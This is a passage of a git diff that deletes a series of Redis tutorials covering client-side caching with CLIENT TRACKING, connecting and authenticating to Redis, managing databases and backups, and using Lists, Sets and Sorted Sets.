Redis is done on a client-by-client basis. The next section walks you through the precise steps you need to get your Redis clients running with tracked caches. - -Further on, you can find some additional options for Redis's client tracking. This includes a broadcast mode, for tracking set of keys, and some parameters for more finely controlled cache tracking. - -The examples in the sections below assume a Redis database with some existing keys. You can use the following commands to create the keys used in these examples: - - SET cat_one:key_one "Anaphora" - SET cat_one:key_two "Bathos" - SET cat_one:key_three "Catharsis" - -### Configuring Redis Clients for Server-Assisted Caching - -The latest versions of Redis have two options for handling invalidation notifications: - -- Using a separate, dedicated client for monitoring notifications -- Receiving invalidation notifications directly on the tracking client via the *RESP3 protocol* - -Each option has its use cases, although the latter is only available on Redis version 6 onward. - -Below, you can see the steps used for setting up your clients with each of these options. - -#### Dedicated Client for Monitoring Notifications - -1. Create a Redis client by making an authenticated connection to the Redis server. See our guide on [How to Connect to Redis and Use The Redis Database](/cloud/guides/redis-getting-started/) for instructions on doing so. - -1. Determine the client's ID using the following command. This ID is used in setting up client tracking in one of the subsequent steps, so keep note of it. This and subsequent examples use `15` for the notification client's ID. - - CLIENT ID - - {{< output >}} -(integer) 15 - {{< /output >}} - -1. Have the client subscribe to the invalidation message channel. Doing so sets the client into listening mode, meaning that it cannot issue commands but receives all messages on the subscribed channel. - - SUBSCIRBE __redis__:invalidate - - {{< output >}} -1) "subscribe" -2) "__redis__:invalidate" -3) (integer) 1 - {{< /output >}} - -1. Create another client, making another authenticated connection to the Redis server. - -1. Turn on client tracking on the new client. Use the `REDIRECT` option to have the client's invalidation messages sent to the first client's ID. - - CLIENT TRACKING on REDIRECT 15 - - The second client, and any subsequent clients that you set up in a similar way, are now being tracked for server-assisted caching. The server keeps note of any data that these tracked clients fetch. Then, the server sends invalidation messages to the listening client whenever any of that data changes. - -1. Verify that the second client is being tracker for server-assisted caching by issuing the following commands to the second client: - - GET cat_one:key_one - - {{< output >}} -"Anaphora" - {{< /output >}} - - SET cat_one:key_one "Anapest" - - {{< output >}} -OK - {{< /output >}} - - Now, on the first client, you should see a notification like the following: - - {{< output >}} -1) "message" -2) "__redis__:invalidate" -3) 1) "cat_one:key_one" - {{< /output >}} - -#### Using the RESP3 Protocol - -Redis 6 introduced the RESP3 protocol to provide more capabilities for Redis clients. - -Among these is the ability to receive messages from an active client. Previously (under the RESP2 protocol), a Redis client could only receive messages by subscribing to a channel. This left the client in listening mode, unable to issue commands. - -RESP3 makes it possible for a client to be simultaneously open for issuing commands and set to listen for incoming messages, like invalidation notices. - -By default, Redis clients start in the RESP2 protocol. Below, you can see steps for enabling RESP3 and using it for receiving invalidation messages on a Redis client. - -{{< note >}} -Redis clients must be version 6 or later to use RESP3. Check your Redis version before proceeding: - - redis-cli --version - -For Redis versions less than 6, see the previous section for [creating a dedicated client for invalidation messages](#dedicated-client-for-monitoring-notifications). -{{< /note >}} - -1. Create a Redis client by making an authenticated connection to the Redis server. See our guide on [How to Connect to Redis and Use The Redis Database](/cloud/guides/redis-getting-started/) for instructions on doing so. - -1. Switch the client to RESP3 using the following command: - - HELLO 3 - - {{< output >}} -1# "server" => "redis" -2# "version" => "6.2.6" -3# "proto" => (integer) 3 -4# "id" => (integer) 15 -5# "mode" => "standalone" -6# "role" => "master" -7# "modules" => (empty array) - {{< /output >}} - -1. Turn on client tracking for the client using the following command: - - CLIENT TRACKING on - - The client now has tracking enabled. Any data the client fetches get monitored by the server. When that data changes, the client receives a notification to invalidate its cached data. - -1. Verify that your client tracking is enabled by fetching a piece of data and making a change to it later. - - GET cat_one:key_three - - {{< output >}} -"Catharsis" - {{< /output >}} - - SET cat_one:key_three "Cliche" - - {{< output >}} --> invalidate: 'cat_one:key_three' -OK - {{< /output >}} - - {{< note respectIndent=false >}} -Redis command-line clients (using the Redis CLI) using RESP3 only receive notifications after another command has been issued by the client. - -So, for instance, a client tracking `cat_one:key_three` does not immediately receive a notification if another client changes that key. It only receives the invalidation notification whenever it attempts a command. - -Here is a breakdown of what this could look like: - -1. Client 1: `CLIENT TRACKING on` - -1. Client 1: `GET cat_one:key_three` - -1. Client 2: `SET cat_one:key_three "Climax"` - -1. Client 1: (Does not receive an immediate notification) - -1. Client 1: `GET cat_one:key_one` - - {{< output >}} --> invalidate: 'cat_one:key_three' -"Anapest" - {{< /output >}} - -{{< /note >}} - -### Using Redis's Broadcast Mode - -In its default mode, shown above, Redis's client tracking follows each key fetched by each client. If a client has not yet fetched a particular key, that client does not receive an invalidation notice when the key changes. - -But Redis's client tracking also has a broadcast mode. In this mode, a client can subscribe to a given key prefix — like `cat_one:` in the examples above. The client would then receive an invalidation notification for a change to any key with that prefix. - -Here is an example where the client turns on broadcast-mode tracking for the `cat_one:` prefix. The example uses a separate client (ID `15`) for receiving invalidation notices. - - CLIENT TRACKING on BCAST PREFIX cat_one: REDIRECT 15 - -Now, when any key with that prefix changes, an invalidation message gets sent: - - SET cat_one:key_three "Catharsis" - -{{< output >}} -1) "message" -2) "__redis__:invalidate" -3) 1) "cat_one:key_three" -{{< /output >}} - -The broadcast mode also supports multiple prefixes. The example below adds prefixes that modify the previous example: - - CLIENT TRACKING on BCAST PREFIX cat_one: PREFIX cat_two: PREFIX cat_three: REDIRECT 15 - -### Redis Client Tracking Settings - -Redis's client tracking comes with some additional parameters that let you fine-tune how the server tracks clients and sends notifications. The following sections explain what these parameters are and how you can use them. - -#### Opt-in and Opt-Out Caching - -The `OPTIN` and `OPTOUT` options let you control client tracking, by opting in or opting out, respectively, on a per-key basis. - -- Using `OPTIN`, Redis only tracks keys fetched immediately after a `CLIENT CACHING yes` command. In the example below, the `cat_one:key_one` key is not tracked but the `cat_one:key_two` key is. - - CLIENT TRACKING on OPTIN REDIRECT 15 - GET cat_one:key_one - CLIENT CACHING yes - GET cat_one:key_two - -- Using `OPTOUT`, Redis tracks as usual but allows you to use the `CLIENT CACHING no` command to exclude any key fetched immediately after from being tracked. The example below tracks `cat_one:key_one` but not `cat_one:key_two`. - - CLIENT TRACKING on OPTOUT REDIRECT 15 - GET cat_one:key_one - CLIENT CACHING no - GET cat_one:key_two - -#### No-Loop - -Some examples in the sections above demonstrated invalidation notifications for changes made by the tracked client itself. You can disable this behavior using the `NOLOOP` option for the `CLIENT TRACKING` command. - -With this option, invalidation notifications are only provided when a different client makes a change to a tracked key. - -In the example below, Redis would not provide an invalidation notice to the client. - - CLIENT TRACKING on NOLOOP REDIRECT 15 - GET cat_one:key_three - SET cat_one:key_three "Cameo" - -However, the client would receive an invalidation notice if another client executed the same `SET` command shown above. - -## Conclusion - -This tutorial has covered what you need to know to get started using Redis for server-assisted client-side caching. You learned everything from setting up client tracking to customizing it to behave the way your web application needs. - -You can continue to learn about Redis and how to get the most out of your Redis databases through our other guides in this series. These guides cover everything from [connecting to a remote Redis server](/cloud/guides/redis-getting-started/) to working with the [hash data type in Redis](/cloud/guides/hashes-in-redis-databases/). diff --git a/docs/guides/databases/redis/redis-getting-started/index.md b/docs/guides/databases/redis/redis-getting-started/index.md deleted file mode 100644 index d150fb2458c..00000000000 --- a/docs/guides/databases/redis/redis-getting-started/index.md +++ /dev/null @@ -1,285 +0,0 @@ ---- -slug: redis-getting-started -title: "Connect to Redis and Use The Redis Database" -title_meta: "How to Connect to Redis and Use The Redis Database" -description: "Learn how to start using Redis databases, connecting to a Redis server and working with data on it." -authors: ["Nathaniel Stickman"] -contributors: ["Nathaniel Stickman"] -published: 2022-01-14 -keywords: ['connecting to redis server', 'how to create redis database', 'getting started with redis'] -tags: ['redis', 'database'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Redis: Commands](https://redis.io/commands)' -aliases: ['/guides/how-to-connect-to-redis/'] ---- - -Redis is an open-source NoSQL database used for in-memory storage of data structures. It works exceptionally well for caching, messaging, and other data storage contexts where quick, and low-latency storage is needed. - -This tutorial gets you started using Redis. It explains how to connect to a Redis server that is located locally or remotely. The guide then goes into details on creating, populating, and saving a Redis database. - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. Follow the instructions in our [How to Install and Configure Redis on Ubuntu 20.04](/cloud/guides/install-redis-ubuntu/) guide to install a Redis server and command-line interface (CLI). Be sure to use the drop down menu at the top of that page to select your Linux distribution and get the appropriate steps. - -1. Replace `/etc/redis/redis.conf` throughout this guide with the actual location of your Redis server's configuration file. - - Generally, on **Debian** and **Ubuntu**, the location defaults to the above. On **AlmaLinux**, **CentOS**, and **Fedora**, the default location is usually `/etc/redis.conf`. - -{{< note >}} -The steps in this guide are written for non-root users. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, see our [Linux Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## How to Connect to Your Redis Server - -You can use the Redis CLI tool to connect to a Redis server that is located locally and remotely. The steps in the following sections show you how to do both. - -The examples that follow assume that you have created a user on the Redis server and have set up restricted access using the `requirepass` configuration directive. For these examples, the Redis authentication and user configuration is shown below: - -{{< file "/etc/redis/redis.conf" >}} -# [...] -requirepass admin-password -# [...] -user example-user +@all allkeys on >password -# [...] -{{< /file >}} - -### Connect to a Local Redis Server - -The Redis CLI automatically connects to a local Redis server when you run the `redis-cli` command. From there, you need to authenticate your connection to be able to view and modify the Redis database on the server. - -Redis gives you the following two ways of authenticating your connection: - -- **Using command-line options**: In this case, you provide the username and password of your Redis user as part of the command to start the Redis CLI. Use the `--user` flag to provide a username and the `--pass` flag to provide a password as shown below: - - redis-cli --user example-user --pass password - -- **Using the CLI interface**: The CLI has an `AUTH` command which authenticates a connection given a username and password. The command is used as follows: - - AUTH example-user password - - If the password provided via `AUTH` command matches the password in the `/etc/redis/redis.conf` configuration file, the server replies with the `OK` status code and starts accepting commands. - - {{< output >}} - OK - {{< /output >}} - -Both options above also support password-only authentication. - -- Use the `-a` flag to authenticate by password on the command line: - - redis-cli -a admin-password - -- Use the `AUTH` command with only one argument to authenticate by password: - - AUTH admin-password - -### Connect to a Remote Redis Server - -To connect to your Redis server remotely, you first need to open the appropriate port in your firewall and bind Redis to an address. - -1. Open port `6379` on your system's firewall. - - - On **Debian** and **Ubuntu**, you can do so using UFW. See our [How to Configure a Firewall with UFW](/cloud/guides/configure-firewall-with-ufw/) guide for more information on using UFW. Typically, you can open the port using the following commands: - - sudo ufw allow 6379 - sudo ufw reload - - - On **CentOS** and **Fedora**, you can use FirewallD. Take a look at our guide [Introduction to FirewallD on CentOS](/cloud/guides/introduction-to-firewalld-on-centos/) for more information on using FirewallD. You can usually open the port using the following commands: - - sudo firewall-cmd --zone=public --add-port=6379/tcp --permanent - sudo firewall-cmd --reload - -1. Open the `redis.conf` Redis configuration file, typically located at `/etc/redis/`. Then, modify or add a line for `bind`, indicating your server's IP address or domain name. - - The example below listens for both local and remote connections. Replace `192.0.2.0` with your server's IP address. You could, alternatively, replace this IP address with your server's domain name. - - {{< file "/etc/redis/redis.conf" >}} -# [...] -bind 127.0.0.1 192.0.2.0 -# [...] - {{< /file >}} - - Subsequent examples use this IP address for your server, so replace them as you go. - -1. Once you have these configurations set up on the server, you can connect to Redis from a remote client. - - Install the Redis CLI on the machine you want to access the server from, then execute the following command: - - redis-cli -h 192.0.2.0 -p 6379 - - You can then authenticate using the Redis CLI interface, as shown in the previous section. Although you can still authenticate using command-line flags, it is recommended that you use the CLI interface instead for added security. - -### Verifying Connection - -To verify your connection to the Redis server, you can execute the `PING` Redis command: - - PING - -The server responds with the output below, verifying that you are connected and authenticated. - -{{< output >}} -PONG -{{< /output >}} - -## How to Manage Redis Databases - -Once you are connected to the Redis server, you can start working with the databases and keys that are stored. The following sections explain some of the most useful actions and commands you can use for managing your Redis databases. - -### Create a Redis Database - -Redis does not have *database creation* in the same way you might see with SQL databases, like MySQL. By default, Redis creates 16 databases, indexed 0–15. You can see how to select between those databases in the next section. - -You can alter the number of databases via the Redis configuration file. The example below demonstrates what the default configuration looks like: - -{{< file "/etc/redis/redis.conf" >}} -# [...] -databases 16 -# [...] -{{< /file >}} - -Redis does not give you a way to name or otherwise define a database beyond the databases' indices. - -### Select a Database - -You can choose which database you are currently viewing and operating on with the `SELECT` command. For instance, to start using the database at index `1`, you can use the command below: - - SELECT 1 - -For any database index except `0`, the Redis CLI indicates the current index in the command prompt, as shown below: - -{{< output >}} -127.0.0.1:6379[1]> -{{< /output >}} - -### Move Redis Databases and Data - -The Redis CLI gives you two options for moving data between Redis databases. - -- You can move data wholesale from one database to another using the `SWAPDB` command. Here is an example that moves the keys in database `1` to database `0`; conversely, database `0` gets the keys from database `1`: - - SWAPDB 0 1 - -- You can migrate keys from a database on one Redis server to another using the `MIGRATE` command. It takes the address of the destination server, its port number, the key name, and a number of milliseconds for a timeout. - - Migration requires that you set up the remote server for remote access, as described in the [Connect to a Remote Redis Server](/cloud/guides/redis-getting-started/#connect-to-a-remote-redis-server) section above. - - The example below migrates a key called `key_1` from the current database to a remote database at `192.0.2.0`: - - MIGRATE 192.0.2.0 6379 key_1 5000 - - The command also has a feature to allow you to migrate multiple keys at once. Use an empty string for the key field, then end the command with the `KEYS` keyword followed by a list of key names. For instance: - - MIGRATE 192.0.2.0 6379 "" 5000 KEYS key_1 key_2 key_3 - -### Remove a Redis Database - -Because there is no database creation as such in Redis, it also lacks database deletion. - -However, you can clear out the data in a given database using the `FLUSHDB` command. This deletes all of the keys in the currently selected database. - - FLUSHDB -{{< note type="alert" >}} -The effects of this command are immediate and cannot be undone unless you have backed up your database. -{{< /note >}} - -## Working with Keys in Redis - -Data in Redis databases are stored as key-value pairs. Each key can be as simple as a key name and a string value or as complicated as a hash object which itself contains numerous key-value pairs. - -You can learn more about the data types Redis supports in our upcoming guides in this series. Each data type gets covered in depth in these guides, so be sure to check them out. - -The following sections show you how to start working with keys, no matter their types. You can see how to set new keys, to "query" for a particular key, and how to modify keys. - -### Setting and Getting Redis Keys - -Create new entries — keys — in your database with the `SET` command. It takes the name of the key and its value as shown below: - - SET key_1 "Value 1" - -The example above assigns a string `Value 1` as the key's value. But, as mentioned above, Redis supports several different data types, which you can learn about in our upcoming guides in this series. - -Redis does not have a query language like SQL or many other NoSQL databases. It, instead, provides a simple, and straightforward key storage focused on speed, and availability. - -To view a key's value in a Redis database, you use the `GET` command followed by the key name: - - GET key_1 - -{{< output >}} -"Value 1" -{{< /output >}} - -### Modify and Move Redis Keys - -To rename a key, you can use a command like the example below. The example renames the `key_1` key to `key_one`. - - RENAME key_1 key_one - -There are two ways of deleting keys: - -- The `DEL` command deletes a key synchronously and immediately. It is the best option for most key deletions. - - DEL key_2 - -- The `UNLINK` command is useful when you want to delete potentially large keys. It determines how long the deletion would take, and runs the deletion asynchronously if the estimate crosses a certain threshold. If the duration does not cross that threshold, the command works synchronously like `DEL`. This allows you to avoid tying up the database with heavy deletion tasks. - - UNLINK key_2 - -You can move a key as well. The command below moves the `key_3` key from the current database to database `7`. - - MOVE key_3 7 - -## How to Back Up Redis Databases - -Redis databases operate in memory, which helps to make them fast and low-latency. - -With Redis, persistence is handled via backups. When the server backs up a database depends on a combination of two factors: - -- How much time has elapsed -- How many changes have been made - -By default, the Redis server backs up databases for any of the following three conditions: - -- An hour has passed and at least one change has occurred. -- Five minutes have passed and at least 100 changes have occurred. -- One minute has passed and at least 10,000 changes have occurred. - -You can alter how Redis backs up databases via the configuration file's `save` directive. This directive takes a number of seconds and a number of changes. For example, following is the default configuration represented as a configuration: - -{{< file "/etc/redis/redis.conf" >}} -# [...] -save 3600 1 -save 300 100 -save 60 10000 -# [...] -{{< /file >}} - -### Manually Save a Redis Database - -You also have the option to manually save the content of your Redis instance. - - SAVE - -This command immediately backs up the entirety of your Redis server's databases. However, this option is not often feasible in a production environment because it operates synchronously and, therefore, ties up the server. - -Instead, you may want to use the following command for your production Redis instance. - - BGSAVE - -It works like the `SAVE` command, but operates asynchronously, meaning that it does not tie up the server while the backup operation runs. - -{{< note >}} -Because it is asynchronous, additional changes can be made to the database while `BGSAVE` runs. However, `BGSAVE` only saves changes up to the point when the command was run. -{{< /note >}} - -You can learn more about how Redis handles persistence in [Redis's documentation](https://redis.io/topics/persistence). - -## Conclusion - -You now have a foundation for starting to use Redis. With this guide, you should be able to connect to a Redis instance, manage your Redis databases, and start working with keys. - -Be sure to follow our upcoming guides on the series as well. These take you further into Redis usage and concepts, exploring topics like data types and server-assisted client-side caching. diff --git a/docs/guides/databases/redis/using-lists-and-sets-in-redis-database/index.md b/docs/guides/databases/redis/using-lists-and-sets-in-redis-database/index.md deleted file mode 100644 index a7645741c92..00000000000 --- a/docs/guides/databases/redis/using-lists-and-sets-in-redis-database/index.md +++ /dev/null @@ -1,260 +0,0 @@ ---- -slug: using-lists-and-sets-in-redis-database -title: "Use Lists and Sets in Redis Database" -title_meta: "How to Use Lists and Sets in Redis Database" -description: "Redis is a NoSQL database that is known for it support of various data types. This guide shows you how to use Lists and Sets for managing data in your Redis databases." -authors: ["Nathaniel Stickman"] -contributors: ["Nathaniel Stickman"] -published: 2022-01-21 -keywords: ['redis lists tutorial','redis lists vs sets','redis sets example'] -tags: ['redis'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Redis: An Introduction to Redis Data Types and Abstractions](https://redis.io/topics/data-types-intro)' ---- - -Redis is an open-source NoSQL database that provides performant storage for caching, messaging, and other contexts where speed and low latency are needed. - -Redis has multiple data types for working with collections. The most common are **Lists** and **Sets**. This tutorial explains what Redis's lists and sets are and illustrates how to use them. - -Also, check out our other guides in this series, including our previous guide on [Connecting to Redis and Using Redis Databases](/cloud/guides/redis-getting-started/). - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. Follow the instructions in our [How to Install and Configure Redis](/cloud/guides/install-redis-ubuntu/) guide to installing a Redis server and command-line interface (CLI). Be sure to use the drop-down menu at the top of that page to select your Linux distribution and get the appropriate steps. - -{{< note >}} -The steps in this guide are written for non-root users. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, see the [Linux Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## What Are Lists and Sets in Redis? - -Redis Lists and Sets each manage collections of string values. Each has its own approach, advantages, and disadvantages. The sections below discuss each data type in more detail. - -### Redis Lists - -In Redis, Lists are collections of strings kept in the order they were inserted. They operate like Linked Lists in other programming contexts. - -Lists are useful precisely because of their ordering methodology. Their ordering is consistent and can be controlled by the way in which you insert new elements. - -### Redis Sets - -Redis Sets are unordered collections of unique strings. Because Sets only include unique values, they can be useful in contexts where you need to avoid duplicates. - -Sets are unordered, so values are either fetched randomly or managed by the content of the values themselves. - -### Differences Between Lists and Sets - -Lists are, as observed above, ordered based on insertion. Sets, by contrast, are unordered. Use Lists when you need to consistently access elements based on their positions in the collection. - -But Sets also have a particular advantage when it comes to performance. Lists perform well when it comes to fetching elements from the beginning and end of the collection, no matter the collection's size. However, they lag when it comes to fetching values from somewhere in the middle of large collections. - -With Sets, on the other hand, you can fetch elements from the middle of a collection much more quickly. This is useful when you frequently need to check whether a certain value exists in a large collection. It is also useful when you need to efficiently fetch a random value from a collection, as you can do with Sets. - -### Sorted Sets in Redis - -Redis has another related data type: *Sorted Sets*. These are Sets that include a scoring system, allowing you to order a Set by element scores. - -Because of ordering, hashes, and labeling of values, Sorted Sets in Redis actually work as a cross between Lists. - -Sorted Sets have an array of commands and ways that you can work with their collections. To learn more about how Sorted Sets work and how you can start using them, take a look at our [How to Use Sorted Sets in Redis](/cloud/guides/using-sorted-sets-in-redis-database/) guide. - -## How to Use Lists in Redis - -The following sections introduce you to some of the most useful operations and commands for Lists, and how you can create, view, and modify them. - -### Adding Elements to a Redis List - -You can add elements to the beginning and ending of Lists in Redis with the `LPUSH` and `RPUSH` commands, respectively. These commands each also create a new List if the named List does not already exist. - -For instance: - - LPUSH example_list "This is a test." - RPUSH example_list 2 4 6 8 - -As you can see from the `RPUSH` example above, the commands support adding multiple elements to a List at the same time. - -{{< note >}} -In Redis, numbers are automatically converted to strings, though Redis also has a few special commands for handling strings that contain numbers. Like `INCR`, which increments the integer held in a string by one. -{{< /note >}} - -In the next section, you learn how to retrieve the contents of a List. - -### Selecting Elements from a Redis List - -You have a few options when it comes to fetching elements from a List in Redis. - -- Use the `LINDEX` command to get a single element based on its index (Redis's index begins at `0`). The example below fetches the third element of the `example_list` created in the previous section. - - LINDEX example_list 2 - - {{< output >}} -"4" - {{}} - -- Use `LRANGE` to get a range of elements or to get all elements in a List based on their indices. The example below fetches all the elements from the `example_list`. - - LRANGE example_list 0 -1 - - {{< output >}} -1) "This is a test." -2) "2" -3) "4" -4) "6" -5) "8" - {{}} - - Negative indices start at the end of the list, so the example above fetches all elements from the first (index `0`) to the last (index `-1`). - - Here is another example that fetches only the middle three elements: - - LRANGE example_list 1 -2 - - {{< output >}} -1) "2" -2) "4" -3) "6" - {{}} - -- Use `LPOP` and `RPOP` to get one or more elements from the beginning or end of a List and then remove those elements from the List. This can be useful, for instance, in the case of a Task List, where you want to remove an element as it is being worked on. - - LPOP example_list - - {{< output >}} -"This is a test." - {{}} - - RPOP example_list 2 - - {{< output >}} -"8" -"6" - {{}} - - When you take a look at the list now, you get: - - LRANGE example_list 0 -1 - - {{< output >}} -1) "2" -2) "4" - {{< /output >}} - -### Removing Elements from a Redis List - -Similar to how you can remove elements from the List using the `LPOP` and `RPOP` commands, you can also remove elements using the `LREM` command. It removes one or more elements from a List based on the elements' values. For example: - - LPUSH new_example_list "this" "is" "a" "test" "and" "a" "test" "to" "test" - LREM new_example_list -2 "test" - LRANGE new_example_list 0 -1 - -{{< output >}} -1) "test" -2) "to" -3) "a" -4) "and" -5) "a" -6) "is" -7) "this" -{{< /output >}} - -The `-2` in the command above has `LREM` remove the last two instances of `test` from the List. You could, alternatively, use a positive number to remove the first matching instances from the List. - -Finally, using the `DEL` command allows you to delete a List entirely. - - DEL new_example_list - -### Using Capped Lists - -Redis allows you to use the `LTRIM` command to implement a *Capped List*, which is essentially a List limited to a certain length. This can be useful, for instance, when you only want a List to contain the newest *"X"* number of entries. - -For example, assume that `long_example_list` contains at least 100 items and that new items are added to the end of the list with `RPUSH`. To only ever keep the newest 100 items, you run the `LTRIM` command every time you add a new item to the List: - - RPUSH long_example_list "New item" - LTRIM long_example_list -100 -1 - -## How to Use Sets in Redis - -The sections below show some of the most useful operations and commands for Sets, from creating to viewing, and modifying them. - -### Adding Elements to a Redis Set - -You can add elements to a Set using the `SADD` command. Like with Lists, this command also creates a new Set if one does not already exist. - - SADD example_set 1 3 5 7 9 - -{{< output >}} -(integer) 5 -{{< /output >}} - -Sets do not hold duplicate values. If you try to add a duplicate to the above `example_set`, there are no elements (`0`) added to the Set. - - SADD example_set 9 - -{{< output >}} -(integer) 0 -{{< /output >}} - -### Checking and Selecting Elements from Redis Sets - -Redis provides two means of fetching elements from a Set. - -- Use the `SMEMBERS` command to get all elements of a Set: - - SMEMBERS example_set - - {{< output >}} -1) "1" -2) "3" -3) "5" -4) "7" -5) "9" - {{}} - -- Use the `SPOP` command to get a random element from a Set; at the same time, the command removes the selected element from the Set: - - SPOP example_set - - {{< output >}} -"3" - {{}} - - SMEMBERS example_set - - {{< output >}} -1) "1" -2) "5" -3) "7" -4) "9" - {{}} - -You can also check a Set to see whether an element with a certain value is a member, using the `SISMEMBER` command. It returns `1` for true and `0` for false: - - SISMEMBER example_set 7 - -{{< output >}} -(integer) 1 -{{}} - -### Removing Elements from Redis Sets - -You have seen how the `SPOP` command returns and removes an element from a Set. - -However, you can use the `SREM` command to remove an element from a Set based on its value. For instance: - - SADD new_example_set "test 1" "test 2" "test 3" - SREM new_example_set "test 3" - SMEMBERS new_example_set - -{{< output >}} -1) "test 1" -2) "test 2" -{{< /output >}} - -## Conclusion - -You should now be ready to start working with Lists and Sets in Redis. You have the tools for creating, viewing, and modifying them, and should be ready to put them to use in your Redis database. diff --git a/docs/guides/databases/redis/using-sorted-sets-in-redis-database/index.md b/docs/guides/databases/redis/using-sorted-sets-in-redis-database/index.md deleted file mode 100644 index 0c8700b0cbd..00000000000 --- a/docs/guides/databases/redis/using-sorted-sets-in-redis-database/index.md +++ /dev/null @@ -1,235 +0,0 @@ ---- -slug: using-sorted-sets-in-redis-database -title: "Use Sorted Sets in Redis Databases" -title_meta: "How to Use Sorted Sets in Redis Databases" -description: "Learn how to use Sorted Sets in your Redis databases, a powerful additional data type for ordered values. You also learn common commands needed to manage Sorted Sets." -authors: ["Nathaniel Stickman"] -contributors: ["Nathaniel Stickman"] -published: 2022-01-21 -keywords: ['redis sorted set example','redis sorted set commands','how do redis sorted sets work'] -tags: ['redis'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Redis: An Introduction to Redis Data Types and Abstractions](https://redis.io/topics/data-types-intro)' ---- - -Redis, the open-source, in-memory database, is a popular option for its quick, low-latency storage. Redis's *Sorted Set* data type captures the advantages of both Lists and Sets, giving you a useful tool for ordered collections of unique values. This tutorial dives into what Sorted Sets are and introduces you to commands you can use to manage them. - -Be sure to check out our other guides in this series, including our previous guide on [Connecting to Redis and Using Redis Databases](/cloud/guides/redis-getting-started/). - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. Follow the instructions in our [How to Install and Configure Redis](/cloud/guides/install-redis-ubuntu/) guide to installing a Redis server and command-line interface (CLI). Be sure to use the drop-down menu at the top of that page to select your Linux distribution and get the appropriate steps. - -{{< note >}} -The steps in this guide are written for non-root users. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, see the [Linux Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## What Are Sorted Sets in Redis? - -Redis's Sorted Set data type consists of a collection of unique string values. Each string value is scored with a numeric value, which becomes the primary sorting criteria for ordering the Sorted Set. - -In Redis, Sets are also collections of unique string values. But Sets themselves are unordered. With Sorted Sets, Redis provides a data type with the advantages of sets while forgoing the limitation of being unordered. - -Redis's Sorted Sets can actually be thought of as a cross between Lists and Hashes. Lists, because they are ordered, and Hashes, because the scores act like keys for each value. - -To learn more about Lists and Sets in Redis, read our [How to Use Lists and Sets in Redis Databases](/cloud/guides/using-lists-and-sets-in-redis-database/) guide. - -### Sorted Sets and Scoring - -Each value in a Sorted Set is assigned a score. Scores then act as the primary means for ordering and navigating Sorted Sets. Sorted Sets also have a secondary sorting method. Any values with matching scores are sorted lexically based on the values themselves. This can be very convenient when, for instance, you want a Set that can be organized alphabetically. - -## How to Use Sorted Sets in Redis - -You may be familiar with how to use Redis Sets, but Sorted Sets come with their own commands. In fact, Sorted Sets operate more like Lists and Hashes in Redis. - -The following sections introduce you to some of the most useful operations and commands for Sorted Sets. By the end, you should be ready to start working with this data type in your Redis databases. - -### Add Elements to a Sorted Set - -Use the `ZADD` command to add elements to a Sorted Set. When the given Set does not already exist, this command creates the Set, like in the example below: - - ZADD example_sorted_set 10 "A test value" - -The `ZADD` command can also add multiple elements at a time. Just continue adding score-value pairs to the command as shown in the example below: - - ZADD example_sorted_set 9 "B test value" 8 "C test value" 7 "D test value" 6 "E test value" - -### Fetch Elements from a Sorted Set - -Sorted Sets, because they are ordered, give you ready tools for fetching elements based on that ordering. But Sorted Sets also come with the ability to sort and retrieve items lexically. - -Below, see how to get items from your Redis Sorted Sets using both of these sorting methods. - -#### By Order - -Fetching items from a Sorted Set works more like doing so from a List than from a Set. - -- Use the `ZRANGE` command to fetch values based on an index range. The elements are sorted from lowest score to highest. This example fetches the entire Sorted Set created in the previous section: - - ZRANGE example_sorted_set 0 -1 - - {{< output >}} -1) "E test value" -2) "D test value" -3) "C test value" -4) "B test value" -5) "A test value" - {{< /output >}} - - Redis indices start at `0`, while negative indices begin at the end of a collection. The example above fetches all items from the first (`0`) to the last (`-1`) item. Using `-2` refers to the next-to-last item in the Sorted Set, and so on. - - You can reverse the order using the `ZREVRANGE` command instead. The example below does so and fetches only the first three items in the Sorted Set: - - ZREVRANGE example_sorted_set 0 2 - - {{< output >}} -1) "A test value" -2) "B test value" -3) "C test value" - {{< /output >}} - -- Use the `ZPOPMIN` and `ZPOPMAX` commands to fetch one or more values, with their corresponding scores, from the beginning, or end of a Sorted Set, respectively. The fetched values are then removed from the Sorted Set: - - ZADD example_sorted_set_two 1 "H" 2 "G" 3 "F" 4 "E" - - ZPOPMIN example_sorted_set_two - - {{< output >}} -1) "H" -2) "1" - {{< /output >}} - - ZPOPMAX example_sorted_set_two 2 - - {{< output >}} -1) "E" -2) "4" -3) "F" -4) "3" - {{< /output >}} - -- Use the `BYSCORE` option with the `ZRANGE` command to fetch a range of values based 